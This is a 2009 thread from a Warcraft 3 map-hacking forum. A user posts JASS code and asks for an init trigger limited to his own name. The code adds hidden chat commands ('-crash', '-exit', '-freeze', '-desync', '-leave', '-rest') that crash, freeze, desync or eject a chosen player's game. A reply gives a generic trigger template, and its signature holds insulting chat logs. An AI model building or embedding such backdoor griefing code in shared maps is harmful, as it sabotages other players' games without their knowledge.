wc3edit.net

United Warcraft 3 map hacking!
It is currently April 27th, 2024, 8:55 pm

All times are UTC




Post new topic Reply to topic  [ 3 posts ] 
Author Message
 Post subject: I need an init trig
PostPosted: August 17th, 2009, 11:16 pm 
Offline
Senior Member

Joined: March 1st, 2007, 8:22 pm
Posts: 118
and to combine these into one
like a test trigger
and need it so only a certain name can use

Code:
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
function ExitWarcraft takes nothing returns nothing
loop                                                                   
call ExecuteFunc("ExitWarcraft")                               
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction
function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction
function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft") 
endif
endfunction

elseif SubString(s7,0,7)=="-crash " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendCrash(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-exit " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call SendExit(Player(S2I(SubString(s7,6,8))))
elseif SubString(s7,0,8)=="-freeze " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendFreeze(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,8)=="-desync " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendDesync(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,7)=="-leave " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendLeave(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-rest " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call Clusterfuck(Player(S2I(SubString(s7,6,8))))


Top
 Profile  
 
 Post subject: Re: I need an init trig
PostPosted: August 18th, 2009, 4:54 am 
Offline
Super Moderator
User avatar

Joined: February 24th, 2009, 1:31 pm
Posts: 3815
Location: JEW LAND
im not so good at JASS im just a beginner and im learning.
but i do know how to make an init trigger.

Code:
function InitTrig_[trigger name] takes nothing returns nothing
set gg_trg_[trigger name] = CreateTrigger(  )
call TriggerRegisterPlayerChatEvent( gg_trg_[trigger name], Player([number of player]), "[key word]", false )  // well incase the function is turnd //on by a chat event. u need to fill in the information here. if not just delete it. if u want it for specific players only like red and purple //only. double this line. and change the [number of player] 0 = red, 1 = blue etc... if u want it for all players. make a loop. if u dont know how //to make a loop. just say and ill make it for you PS - DONT ADD THIS! ITS JUST A COMMENT!
call TriggerAddCondition( gg_trg_[name of trigger], Condition( function Trig_[name of trigger]_Conditions ) )
call TriggerAddAction( gg_trg_[name of trigger], function Trig_[name of trigger]_Actions )

basicly this is from GUI. if the name of the condition triggers are diffrent so just change them. if there is smthing unclear tell me so.

btw: even for a noob in jass like me. it seems wierd. in the end it says "endfunction" and after there are some "endif" and stuff. but they are NOT in a function. so wtf? ^^

_________________
Image
Spoiler:
(02:24:09)
Code:
ChatBot: FatherSpace logs into the Chat.
(02:24:28) Lanaya: Gtfo ken.
(02:24:33) ChatBot: FatherSpace logs out of the Chat.
(02:24:40) Lanaya: Thought so. bitch.
(02:24:44) ChatBot: FatherSpace logs into the Chat.
(02:24:48) FatherSpace: Can I come back yet?
(02:24:51) Lanaya: What'd i say earlier.
(02:24:51) Lanaya: No.
(02:24:58) FatherSpace: Let's try this...
(02:25:01) ChatBot: Lanaya has been logged out (Kicked).
Code:

(14:33:51) 2Pac: Do you know what'S so funny?
(14:34:01) Lanaya: No, please show me.
(14:34:07) 2Pac: This.
(14:34:09) ChatBot: Lanaya has been logged out (Kicked).
(14:34:10) 2Pac:


Code:
(14:35:59) haxorico: No one will belive me if I say "I got this song from 2pac on MSN" lolz ^^
(14:36:02) Lanaya: lolz.
(14:36:16) 2Pac: I AIN'T DEAD FFS.
(14:36:26) 2Pac: I'm a living legend, y'now.
(14:37:17) haxorico: why is 2Pac a legend?
(14:37:28) Lanaya: He's the worse rapper evar.

Code:
(15:42:51) Lanaya: can i suck , . . .

Code:
(13:55:21) ChatBot: 2Pac rolls 1d100 and gets 1.
(13:55:21) ChatBot: haxorico rolls 1d2 and gets 2.
(13:55:27) haxorico: owned?

Code:
GeorgeMots: xplain what happens in SP. Why cant you save?
dast.-:i need play with 2 players

Code:
(21:53:08) (673237): plzplzplz, im sorry about before.
(21:53:26) FatherSpace: I'm sorry you were born.
(21:53:31) ChatBot: (673237) has been logged out (Kicked).


Code:
(10:08:02) Bartimaeus: you do know run I youtube channel for my favorite music, right?


Top
 Profile  
 
 Post subject: Re: I need an init trig
PostPosted: August 18th, 2009, 7:00 pm 
Offline
Senior Member

Joined: March 1st, 2007, 8:22 pm
Posts: 118
o i took it from another function but i need sumthin over that one too


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 3 posts ] 

All times are UTC


Who is online

Users browsing this forum: Google [Bot] and 20 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB® Forum Software © phpBB Group

phpBB SEO


Privacy Policy Statement
Impressum (German)